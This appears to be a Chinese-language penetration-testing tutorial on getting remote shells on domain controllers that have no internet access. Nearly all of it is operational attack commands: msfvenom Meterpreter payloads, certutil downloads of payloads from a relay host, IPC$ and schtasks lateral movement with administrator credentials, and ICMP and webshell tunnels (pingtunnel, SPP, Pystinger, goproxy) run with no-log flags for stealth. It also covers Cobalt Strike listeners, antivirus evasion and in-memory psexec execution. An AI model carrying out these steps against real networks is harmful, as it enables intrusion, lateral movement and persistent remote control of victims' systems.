前言
网络安全的本质是懂进攻,知防守,先正向,后逆向。一名优秀的白帽子,是不能有短板的,有的只能是很多的标准板和几块长板。
网络拓扑图
一、msf正向木马拿不出网域控shell
msf生成木马
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin
用msfvenom生成一个正向马传进去(因为无法访问外网,反向出不来),msf正向连接。
域控上线msf
通过域控web服务的shell进行操作,域控远程下载边界跳板机上的马
C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://xxx.xxx.xxx/msf1.exe msf1.exe
再通过提权工具进行执行
C:\ProgramData\xxxx.exe -i -c "msf1.exe"
msf通过代理开启监听
proxychains msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST xxx.xxx.xxxset lport 4444run
成功获取域控服务器的shell
二、主机中转监听横向上线不出网域控
设置中转监听
这个监听IP要内网可以通信的内网IP
然后生成无阶段木马(分阶段木马无法选择中转监听器),再把木马copy到域控,设置好任务计划,启动木马之后就能够获取域控的shell了
ipc$+计划任务
通过net use建立IPC$连接
shell net use \\x.x.x.x\c$ "xxx" /user:"administrator"
利用copy上传后门文件到域控
shell copy C:\xxx.exe \\x.x.x.x\c$
运行任务,其中/i表示立即运行
shell schtasks /run /s x.x.x.x /u Administrator /p xxxx /tn test /i
域控成功上线cs
三、仅ICMP出网pingtunnel上线msf&cs
0. 环境搭建
WEB边界服务器是公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台Windows内网服务器域控,Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器域控进行后续攻击操作。
1. pingtunnel
注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密
2. vps服务端开启
./pingtunnel -type server ##开启服务器模式
回显0连接
3. 客户端开启
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
客户端本地监听9999端口 ,将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口执行后,kali有回显
4. msf上线
制作木马,木马的回连地址为127.0.0.1:9999,运行上线msf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o msf.exe
msf开启监听
msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost x.x.x.xset lport 7777exploit -j
把木马msf.exe从蚁剑上传到靶机,运行
已上线msf
5. CS上线
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
客户端本地监听9999端口 ,将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口执行后,kali有回显
建立监听127.0.0.1:9999和x.x.x.x:7777
对ICMP-127的监听生成木马cs.exe
传到靶机运行
CS监听上线
四、仅ICMP出网SPP上线Cobalt Strike
环境搭建
WEB边界服务器是公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台Windows内网服务器域控,Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器域控进行后续攻击操作。
工具:
SPP反向代理用于进入目标内网,正向代理可配合远控工具进行上线。
1. Server
服务端启动
./spp -type server -proto ricmp -listen 0.0.0.0
2. Client
客户端启动-nolog 1不输出日志,-noprint 1不打印内容
spp.exe -name "cs" -type proxy_client -server x.x.x.x -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1
vps回显
3. 创建SPP Listeners
配置一个http beacon,Host为vps地址:x.x.x.x,监听8081端口
4. 创建SPP-127 Linsteners
再起一个本地监听的http beacon,Host为:127.0.0.1(这里也可以换成web跳板机的内网IP:x.x.x.x),监听本地8082
5. 生成无阶段木马
监听器选择SPP-127,进行上线
传到靶机运行
此时查看cs已上线
vps回显
将SPP-127 Linsteners的Host换成web跳板机的内网IP:x.x.x.x,监听本地8082
生成无阶段木马
监听器选择SPP-127,进行上线
传到靶机运行
此时查看cs已上线
vps回显
五、Pystinger正向代理上线不出网域控到cs
工具:
Pystinger
条件:
1.TCP、ICMP、DNS均不出网。
2.具有Web服务,并获得Webshell权限。web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用
环境机器不可以ping通其他机器
1. 上传代理文件
1.通过Webshell上传Pystinger的对应语言的Webshell到目标机器,实现内网SOCK4代理, 确保http://x.x.x.x/pystinger/proxy.php可以访问,页面返回 UTF-8。
2. 服务端运行
参考github上Cobalt Strike多主机上线方式,上传stingger_server.exe到目标机器,然后运行
start stinger_server.exe 0.0.0.0
3. 客户端运行
在VPS上上传stinger_client,-w proxy的url地址,执行
./stinger_client -w http://x.x.x.x/pystinger/proxy.php -l 0.0.0.0 -p 60000
4. 创建监听器
Cobalt Strike新建监听pystinger,多主机上线设置Host为目标机器能够与更深层机器相连的内网ip:x.x.x.x,端口为60020。单主机上线设置Host为目标机器的ip:127.0.0.1,端口为60020,只能本主机上线
5. 生成木马
蚁剑运行木马文件
此时查看cs已上线
六、goproxy http代理上线不出网域控到cs
工具:
goproxy
条件:
1.TCP、ICMP、DNS均不出网。
2.具有Web服务,并获得Webshell权限。web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用
环境机器不可以ping通其他机器
1. 上传proxy.exe
通过Webshell上传proxy.exe到目标机器的可读可写目录,执行以下命令在这台出网主机开启一个4444端口的HTTP服务,供后面与不出网域控通讯。
proxy.exe http -t tcp -p "0.0.0.0:4444" --daemonnetstat -ano
2. 创建监听器
Cobalt strike创建监听器,代理地址为不出网域控能访问到的地址,http://x.x.x.x:4444
3. 生成木马
有效荷载选择Windows Executable(S),不然无法上线
然后利用蚁剑将该文件上传到web服务器供不出网域控下载使用。不出网win2008执行如下命令,要写不出网win2008同层能访问到的地址,下载CS的有效载荷。certutil -urlcache -split -f http://x.x.x.x/xxx.exe C:\xxx.exe
执行木马
成功上线cs
七、内存加载不出网域控上线cs
条件:
1.TCP、ICMP、DNS均不出网。
2.具有Web服务,并获得Webshell权限。web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用
环境机器不可以ping通其他机器
1. 拿跳板机session
首先拿到跳板机的一个Administrator权限的session
2. 创建监听器
创建一个Bind TCP Listener
3. 生成木马
生成无阶段木马
免杀后上传到跳板机的C:\
4.内存加载xxx.exe
execute-assembly C:\xxx.exe -m=psexec -i=x.x.x.x -u=administrator -p=xxxx -d=xxx -f=C:\xxx.exe -e=C:\xxx.exe
5.连接目标机
connect x.x.x.x 4444